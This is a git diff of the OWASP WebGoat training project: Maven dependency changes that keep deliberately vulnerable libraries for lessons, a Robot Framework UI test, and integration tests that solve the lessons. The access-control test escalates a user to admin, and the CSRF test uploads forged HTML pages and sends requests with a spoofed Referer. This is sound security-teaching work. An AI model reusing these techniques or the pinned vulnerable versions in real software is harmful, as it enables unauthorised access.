<email>doug.morato@owasp.org</email>
<organization>OWASP</organization>
<organizationUrl>https://github.com/dougmorato</organizationUrl>
<timezone>America/New_York</timezone>
<properties>
<picUrl>https://avatars2.githubusercontent.com/u/9654?v=3&amp;s=150</picUrl>
</properties>
</developer>
</developers> </developers>
<mailingLists>
<mailingList>
<name>OWASP WebGoat Mailing List</name>
<subscribe>https://lists.owasp.org/mailman/listinfo/owasp-webgoat</subscribe>
<unsubscribe>Owasp-webgoat-request@lists.owasp.org</unsubscribe>
<post>owasp-webgoat@lists.owasp.org</post>
<archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>
</mailingList>
</mailingLists>
<scm> <scm>
<connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection> <connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
<developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection> <developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
@ -62,60 +109,61 @@
<properties> <properties>
<!-- Shared properties with plugins and version numbers across submodules--> <!-- Shared properties with plugins and version numbers across submodules-->
<asciidoctorj.version>3.0.0</asciidoctorj.version> <asciidoctorj.version>2.5.10</asciidoctorj.version>
<bootstrap.version>5.3.5</bootstrap.version> <bootstrap.version>5.3.2</bootstrap.version>
<cglib.version>3.3.0</cglib.version> <cglib.version>3.3.0</cglib.version>
<!-- do not update necessary for lesson --> <!-- do not update necessary for lesson -->
<checkstyle.version>3.6.0</checkstyle.version> <checkstyle.version>3.3.1</checkstyle.version>
<commons-collections.version>3.2.1</commons-collections.version> <commons-collections.version>3.2.1</commons-collections.version>
<commons-compress.version>1.27.1</commons-compress.version> <commons-io.version>2.15.1</commons-io.version>
<commons-io.version>2.19.0</commons-io.version> <commons-lang3.version>3.12.0</commons-lang3.version>
<commons-lang3.version>3.14.0</commons-lang3.version> <commons-text.version>1.10.0</commons-text.version>
<commons-text.version>1.13.1</commons-text.version> <guava.version>32.1.3-jre</guava.version>
<guava.version>33.4.8-jre</guava.version>
<jacoco.version>0.8.11</jacoco.version> <jacoco.version>0.8.11</jacoco.version>
<java.version>23</java.version> <java.version>17</java.version>
<jaxb.version>2.3.1</jaxb.version> <jaxb.version>2.3.1</jaxb.version>
<jjwt.version>0.9.1</jjwt.version> <jjwt.version>0.9.1</jjwt.version>
<jose4j.version>0.9.3</jose4j.version> <jose4j.version>0.9.3</jose4j.version>
<jquery.version>3.7.1</jquery.version> <jquery.version>3.7.0</jquery.version>
<jsoup.version>1.19.1</jsoup.version> <jsoup.version>1.16.1</jsoup.version>
<maven-compiler-plugin.version>3.14.0</maven-compiler-plugin.version> <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>3.5.2</maven-failsafe-plugin.version> <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
<maven-jar-plugin.version>3.1.2</maven-jar-plugin.version> <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
<maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version> <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
<maven-source-plugin.version>3.1.0</maven-source-plugin.version> <maven-source-plugin.version>3.1.0</maven-source-plugin.version>
<maven-surefire-plugin.version>3.5.3</maven-surefire-plugin.version> <maven-surefire-plugin.version>3.2.1</maven-surefire-plugin.version>
<maven.compiler.proc>full</maven.compiler.proc> <maven.compiler.source>17</maven.compiler.source>
<maven.compiler.source>23</maven.compiler.source> <maven.compiler.target>17</maven.compiler.target>
<maven.compiler.target>23</maven.compiler.target>
<pmd.version>3.15.0</pmd.version> <pmd.version>3.15.0</pmd.version>
<!-- Use UTF-8 Encoding --> <!-- Use UTF-8 Encoding -->
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<thymeleaf.version>3.1.2.RELEASE</thymeleaf.version> <thymeleaf.version>3.1.1.RELEASE</thymeleaf.version>
<waittimeForServerStart>60</waittimeForServerStart> <webdriver.version>5.3.3</webdriver.version>
<webdriver.version>6.0.1</webdriver.version> <webgoat.context>/</webgoat.context>
<webgoat.context>/WebGoat</webgoat.context>
<webgoat.port>8080</webgoat.port>
<webgoat.sslenabled>false</webgoat.sslenabled> <webgoat.sslenabled>false</webgoat.sslenabled>
<webjars-locator-core.version>0.59</webjars-locator-core.version> <webjars-locator-core.version>0.53</webjars-locator-core.version>
<webwolf.context>/WebWolf</webwolf.context> <webwolf.context>/</webwolf.context>
<webwolf.port>9090</webwolf.port> <wiremock.version>2.27.2</wiremock.version>
<wiremock.version>3.13.0</wiremock.version>
<xml-resolver.version>1.2</xml-resolver.version> <xml-resolver.version>1.2</xml-resolver.version>
<xstream.version>1.4.5</xstream.version> <xstream.version>1.4.5</xstream.version>
<!-- do not update necessary for lesson --> <!-- do not update necessary for lesson -->
<zxcvbn.version>1.9.0</zxcvbn.version> <zxcvbn.version>1.8.0</zxcvbn.version>
</properties> </properties>
<dependencyManagement> <dependencyManagement>
<dependencies> <dependencies>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.5</version>
</dependency>
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId> <artifactId>commons-exec</artifactId>
<version>1.4.0</version> <version>1.3</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.asciidoctor</groupId> <groupId>org.asciidoctor</groupId>
@ -162,7 +210,7 @@
<dependency> <dependency>
<groupId>com.auth0</groupId> <groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId> <artifactId>java-jwt</artifactId>
<version>4.5.0</version> <version>4.4.0</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>com.google.guava</groupId> <groupId>com.google.guava</groupId>
@ -200,8 +248,8 @@
<version>${webjars-locator-core.version}</version> <version>${webjars-locator-core.version}</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.wiremock</groupId> <groupId>com.github.tomakehurst</groupId>
<artifactId>wiremock-standalone</artifactId> <artifactId>wiremock</artifactId>
<version>${wiremock.version}</version> <version>${wiremock.version}</version>
</dependency> </dependency>
<dependency> <dependency>
@ -212,17 +260,12 @@
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-compress</artifactId> <artifactId>commons-compress</artifactId>
<version>${commons-compress.version}</version> <version>1.25.0</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.jruby</groupId> <groupId>org.jruby</groupId>
<artifactId>jruby</artifactId> <artifactId>jruby</artifactId>
<version>10.0.0.1</version> <version>9.4.3.0</version>
</dependency>
<dependency>
<groupId>com.microsoft.playwright</groupId>
<artifactId>playwright</artifactId>
<version>1.51.0</version>
</dependency> </dependency>
</dependencies> </dependencies>
</dependencyManagement> </dependencyManagement>
@ -238,7 +281,6 @@
<dependency> <dependency>
<groupId>org.projectlombok</groupId> <groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId> <artifactId>lombok</artifactId>
<version>1.18.38</version>
<scope>provided</scope> <scope>provided</scope>
<optional>true</optional> <optional>true</optional>
</dependency> </dependency>
@ -247,9 +289,19 @@
<artifactId>jaxb-api</artifactId> <artifactId>jaxb-api</artifactId>
<version>${jaxb.version}</version> <version>${jaxb.version}</version>
</dependency> </dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-undertow</artifactId>
</dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId> <artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</exclusion>
</exclusions>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
@ -259,10 +311,6 @@
<groupId>org.flywaydb</groupId> <groupId>org.flywaydb</groupId>
<artifactId>flyway-core</artifactId> <artifactId>flyway-core</artifactId>
</dependency> </dependency>
<dependency>
<groupId>org.flywaydb</groupId>
<artifactId>flyway-database-hsqldb</artifactId>
</dependency>
<dependency> <dependency>
<groupId>org.asciidoctor</groupId> <groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId> <artifactId>asciidoctorj</artifactId>
@ -369,12 +417,6 @@
<artifactId>jaxb-impl</artifactId> <artifactId>jaxb-impl</artifactId>
<scope>runtime</scope> <scope>runtime</scope>
</dependency> </dependency>
<dependency>
<groupId>com.github.terma</groupId>
<artifactId>javaniotcpproxy</artifactId>
<version>1.6</version>
<scope>test</scope>
</dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
@ -387,19 +429,16 @@
<scope>test</scope> <scope>test</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.wiremock</groupId> <groupId>com.github.tomakehurst</groupId>
<artifactId>wiremock-standalone</artifactId> <artifactId>wiremock</artifactId>
<version>3.0.0-beta-2</version>
<scope>test</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>io.rest-assured</groupId> <groupId>io.rest-assured</groupId>
<artifactId>rest-assured</artifactId> <artifactId>rest-assured</artifactId>
<scope>test</scope> <scope>test</scope>
</dependency> </dependency>
<dependency>
<groupId>com.microsoft.playwright</groupId>
<artifactId>playwright</artifactId>
<scope>test</scope>
</dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-properties-migrator</artifactId> <artifactId>spring-boot-properties-migrator</artifactId>
@ -486,7 +525,7 @@
<logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile> <logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
</systemPropertyVariables> </systemPropertyVariables>
<argLine>-Xmx512m</argLine> <argLine>-Xmx512m</argLine>
<includes>org/owasp/webgoat/integration/*Test, org/owasp/webgoat/playwright/**/*Test</includes> <includes>org/owasp/webgoat/*Test</includes>
</configuration> </configuration>
<executions> <executions>
<execution> <execution>
@ -509,15 +548,15 @@
<version>${maven-surefire-plugin.version}</version> <version>${maven-surefire-plugin.version}</version>
<configuration> <configuration>
<forkedProcessTimeoutInSeconds>600</forkedProcessTimeoutInSeconds> <forkedProcessTimeoutInSeconds>600</forkedProcessTimeoutInSeconds>
<!-- Necessary for vulnerable components lesson --> <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
<argLine>--enable-native-access=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
--add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine> --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine>
<excludes> <excludes>
<exclude>**/*IntegrationTest.java</exclude> <exclude>**/*IntegrationTest.java</exclude>
<exclude>**/*UITest.java</exclude> <exclude>src/it/java</exclude>
<exclude>org/owasp/webgoat/*Test</exclude>
</excludes> </excludes>
</configuration> </configuration>
</plugin> </plugin>
@ -536,18 +575,9 @@
<plugin> <plugin>
<groupId>com.diffplug.spotless</groupId> <groupId>com.diffplug.spotless</groupId>
<artifactId>spotless-maven-plugin</artifactId> <artifactId>spotless-maven-plugin</artifactId>
<version>2.44.4</version> <version>2.41.1</version>
<configuration> <configuration>
<formats> <formats>
<format>
<includes>
<include>src/**/*.java</include>
</includes>
<licenseHeader>
<file>${project.basedir}/config/license-headers/java</file>
<delimiter>(package|import)</delimiter>
</licenseHeader>
</format>
<format> <format>
<includes> <includes>
<include>.gitignore</include> <include>.gitignore</include>
@ -606,7 +636,7 @@
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId> <artifactId>maven-enforcer-plugin</artifactId>
<version>3.5.0</version> <version>3.3.0</version>
<executions> <executions>
<execution> <execution>
<id>restrict-log4j-versions</id> <id>restrict-log4j-versions</id>
@ -630,6 +660,10 @@
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId> <artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>17</source>
<target>17</target>
</configuration>
</plugin> </plugin>
</plugins> </plugins>
</build> </build>
@ -694,7 +728,6 @@
<argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument> <argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
<argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument> <argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
<argument>-Dspring.main.banner-mode=off</argument> <argument>-Dspring.main.banner-mode=off</argument>
<argument>--enable-native-access=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.base/java.lang=ALL-UNNAMED</argument> <argument>java.base/java.lang=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
@ -702,18 +735,24 @@
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.base/java.lang.reflect=ALL-UNNAMED</argument> <argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.base/java.text=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.desktop/java.beans=ALL-UNNAMED</argument> <argument>java.desktop/java.beans=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/sun.nio.ch=ALL-UNNAMED</argument> <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.base/java.io=ALL-UNNAMED</argument> <argument>java.base/java.io=ALL-UNNAMED</argument>
<argument>--add-opens</argument> <argument>--add-opens</argument>
<argument>java.base/java.util=ALL-UNNAMED</argument> <argument>java.base/java.util=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.io=ALL-UNNAMED</argument>
<argument>${project.build.directory}/webgoat-${project.version}.jar</argument> <argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
</arguments> </arguments>
<waitForInterrupt>false</waitForInterrupt> <waitForInterrupt>false</waitForInterrupt>
<waitAfterLaunch>${waittimeForServerStart}</waitAfterLaunch>
<healthCheckUrl>http://127.0.0.1:${webgoat.port}${webgoat.context}/login</healthCheckUrl>
</configuration> </configuration>
</execution> </execution>
<execution> <execution>

21
robot/README.md Normal file
View File

@ -0,0 +1,21 @@
# Install and use Robotframework
## Install Chromedriver on Mac OS
brew install cask chromedriver
chromedriver --version
Then see security settings and allow the file to run
## Install
pip3 install virtualenv --user
python3 -m virtualenv .venv
source .venv/bin/activate
pip install --upgrade robotframework
pip install --upgrade robotframework-SeleniumLibrary
pip install --upgrade webdriver-manager
brew upgrade
robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot
Make sure that the Chrome version, the webdriver version and all related components are up-to-date and compatible!

129
robot/goat.robot Normal file
View File

@ -0,0 +1,129 @@
*** Settings ***
Documentation Setup WebGoat Robotframework tests
Library SeleniumLibrary timeout=100 run_on_failure=Capture Page Screenshot
Library String
Library OperatingSystem
Suite Setup Initial_Page ${ENDPOINT} ${BROWSER}
Suite Teardown Close_Page
*** Variables ***
${BROWSER} chrome
${SLEEP} 100
${DELAY} 0.25
${ENDPOINT} http://127.0.0.1:8080/WebGoat
${ENDPOINT_WOLF} http://127.0.0.1:9090/WebWolf
${USERNAME} robotuser
${PASSWORD} password
${HEADLESS} ${FALSE}
*** Keywords ***
Initial_Page
[Documentation] Check the inital page
[Arguments] ${ENDPOINT} ${BROWSER}
Log To Console Start WebGoat UI Testing
IF ${HEADLESS}
Open Browser ${ENDPOINT} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized") alias=webgoat
ELSE
Open Browser ${ENDPOINT} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat
END
Switch Browser webgoat
Maximize Browser Window
Set Window Size ${1400} ${1000}
Set Window Position ${0} ${0}
Set Selenium Speed ${DELAY}
Log To Console Start WebWolf UI Testing
IF ${HEADLESS}
Open Browser ${ENDPOINT_WOLF} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized") alias=webwolf
ELSE
Open Browser ${ENDPOINT_WOLF} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf
END
Switch Browser webwolf
Maximize Browser Window
Set Window Size ${1400} ${1000}
Set Window Position ${500} ${0}
Set Selenium Speed ${DELAY}
Close_Page
[Documentation] Closing the browser
Log To Console ==> Stop WebGoat UI Testing
IF ${HEADLESS}
Switch Browser webgoat
Close Browser
Switch Browser webwolf
Close Browser
END
*** Test Cases ***
Check_Initial_Page
[Tags] WebGoatTests
Switch Browser webgoat
Page Should Contain Username
Click Button Sign in
Page Should Contain Invalid username
Click Link /WebGoat/registration
Check_Registration_Page
[Tags] WebGoatTests
Page Should Contain Username
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Input Text matchingPassword ${PASSWORD}
Click Element agree
Click Button Sign up
Check_Welcome_Page
[Tags] WebGoatTests
Page Should Contain WebGoat
Go To ${ENDPOINT}/login
Page Should Contain Username
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Click Button Sign in
Page Should Contain WebGoat
Check_Menu_Page
[Tags] WebGoatTests
Click Element css=a[category='Introduction']
Click Element Introduction-WebGoat
CLick Element Introduction-WebWolf
Click Element css=a[category='General']
CLick Element General-HTTPBasics
Click Element xpath=//*[.='2']
Input Text person ${USERNAME}
Click Button Go!
${OUT_VALUE} Get Text xpath=//div[contains(@class, 'attack-feedback')]
${OUT_RESULT} Evaluate "resutobor" in """${OUT_VALUE}"""
IF not ${OUT_RESULT}
Fail "not ok"
END
Check_WebWolf
Switch Browser webwolf
location should be ${ENDPOINT_WOLF}/login
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Click Button Sign In
Go To ${ENDPOINT_WOLF}/mail
Go To ${ENDPOINT_WOLF}/requests
Go To ${ENDPOINT_WOLF}/files
Check_JWT_Page
Go To ${ENDPOINT_WOLF}/jwt
Click Element token
Wait Until Element Is Enabled token 5s
Input Text token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Click Element secretKey
Input Text secretKey none
Sleep 2s # Pause before reading the result
${OUT_VALUE} Get Value xpath=//textarea[@id='token']
Log To Console Found token ${OUT_VALUE}
${OUT_RESULT} Evaluate "ImuPnHvLdU7ULKfbD4aJU" in """${OUT_VALUE}"""
Log To Console Found token ${OUT_RESULT}
Capture Page Screenshot
Check_Files_Page
Go To ${ENDPOINT_WOLF}/files
Choose File css:input[type="file"] ${CURDIR}/goat.robot
Click Button Upload files

View File

@ -1,8 +1,4 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
@ -19,71 +15,71 @@ class AccessControlIntegrationTest extends IntegrationTest {
assignment2(); assignment2();
assignment3(); assignment3();
checkResults("MissingFunctionAC"); checkResults("/access-control");
} }
private void assignment3() { private void assignment3() {
// direct call should fail if user has not been created // direct call should fail if user has not been created
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users-admin-fix")) .get(url("access-control/users-admin-fix"))
.then() .then()
.statusCode(HttpStatus.SC_FORBIDDEN); .statusCode(HttpStatus.SC_FORBIDDEN);
// create user // create user
var userTemplate = var userTemplate =
""" """
{"username":"%s","password":"%s","admin": "true"} {"username":"%s","password":"%s","admin": "true"}
"""; """;
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.body(String.format(userTemplate, this.getUser(), this.getUser())) .body(String.format(userTemplate, this.getUser(), this.getUser()))
.post(webGoatUrlConfig.url("access-control/users")) .post(url("access-control/users"))
.then() .then()
.statusCode(HttpStatus.SC_OK); .statusCode(HttpStatus.SC_OK);
// get the users // get the users
var userHash = var userHash =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users-admin-fix")) .get(url("access-control/users-admin-fix"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
.jsonPath() .jsonPath()
.get("find { it.username == \"Jerry\" }.userHash"); .get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(webGoatUrlConfig.url("access-control/user-hash-fix"), Map.of("userHash", userHash), true); checkAssignment(url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
} }
private void assignment2() { private void assignment2() {
var userHash = var userHash =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users")) .get(url("access-control/users"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
.jsonPath() .jsonPath()
.get("find { it.username == \"Jerry\" }.userHash"); .get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(webGoatUrlConfig.url("access-control/user-hash"), Map.of("userHash", userHash), true); checkAssignment(url("access-control/user-hash"), Map.of("userHash", userHash), true);
} }
private void assignment1() { private void assignment1() {
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config"); var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
checkAssignment(webGoatUrlConfig.url("access-control/hidden-menu"), params, true); checkAssignment(url("access-control/hidden-menu"), params, true);
} }
} }

View File

@ -1,11 +1,7 @@
/* package org.owasp.webgoat;
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.assertj.core.api.Assertions.assertThat; import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured; import io.restassured.RestAssured;
@ -68,12 +64,12 @@ public class CSRFIntegrationTest extends IntegrationTest {
public void init() { public void init() {
startLesson("CSRF"); startLesson("CSRF");
webwolfFileDir = getWebWolfFileServerLocation(); webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/basic-get-flag"))); uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/review"))); uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/feedback/message"))); uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("csrf/feedback/message")));
uploadTrickHtml( uploadTrickHtml(
"csrf8.html", "csrf8.html",
trickHTML8.replace("WEBGOATURL", webGoatUrlConfig.url("login")).replace("USERNAME", this.getUser())); trickHTML8.replace("WEBGOATURL", url("login")).replace("USERNAME", this.getUser()));
} }
@TestFactory @TestFactory
@ -90,7 +86,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
// logout(); // logout();
login(); // because old cookie got replaced and invalidated login(); // because old cookie got replaced and invalidated
startLesson("CSRF", false); startLesson("CSRF", false);
checkResults("CSRF"); checkResults("/csrf");
} }
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException { private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
@ -107,7 +103,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", htmlName, htmlContent.getBytes()) .multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrlConfig.url("fileupload")) .post(webWolfUrl("fileupload"))
.then() .then()
.extract() .extract()
.response() .response()
@ -122,7 +118,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("files/%s/%s".formatted(this.getUser(), htmlName))) .get(webWolfUrl("files/" + this.getUser() + "/" + htmlName))
.then() .then()
.extract() .extract()
.response() .response()
@ -140,7 +136,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html")) .header("Referer", webWolfUrl("files/fake.html"))
.post(goatURL) .post(goatURL)
.then() .then()
.extract() .extract()
@ -148,13 +144,15 @@ public class CSRFIntegrationTest extends IntegrationTest {
.toString(); .toString();
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear();
params.put("confirmFlagVal", flag); params.put("confirmFlagVal", flag);
checkAssignment(webGoatUrlConfig.url("csrf/confirm-flag-1"), params, true); checkAssignment(url("csrf/confirm-flag-1"), params, true);
} }
private void checkAssignment4(String goatURL) { private void checkAssignment4(String goatURL) {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear();
params.put("reviewText", "test review"); params.put("reviewText", "test review");
params.put("stars", "5"); params.put("stars", "5");
params.put( params.put(
@ -165,13 +163,13 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html")) .header("Referer", webWolfUrl("files/fake.html"))
.formParams(params) .formParams(params)
.post(goatURL) .post(goatURL)
.then() .then()
.extract() .extract()
.path("lessonCompleted"); .path("lessonCompleted");
assertTrue(result); assertEquals(true, result);
} }
private void checkAssignment7(String goatURL) { private void checkAssignment7(String goatURL) {
@ -186,7 +184,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html")) .header("Referer", webWolfUrl("files/fake.html"))
.contentType(ContentType.TEXT) .contentType(ContentType.TEXT)
.body( .body(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is" "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
@ -200,7 +198,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("confirmFlagVal", flag); params.put("confirmFlagVal", flag);
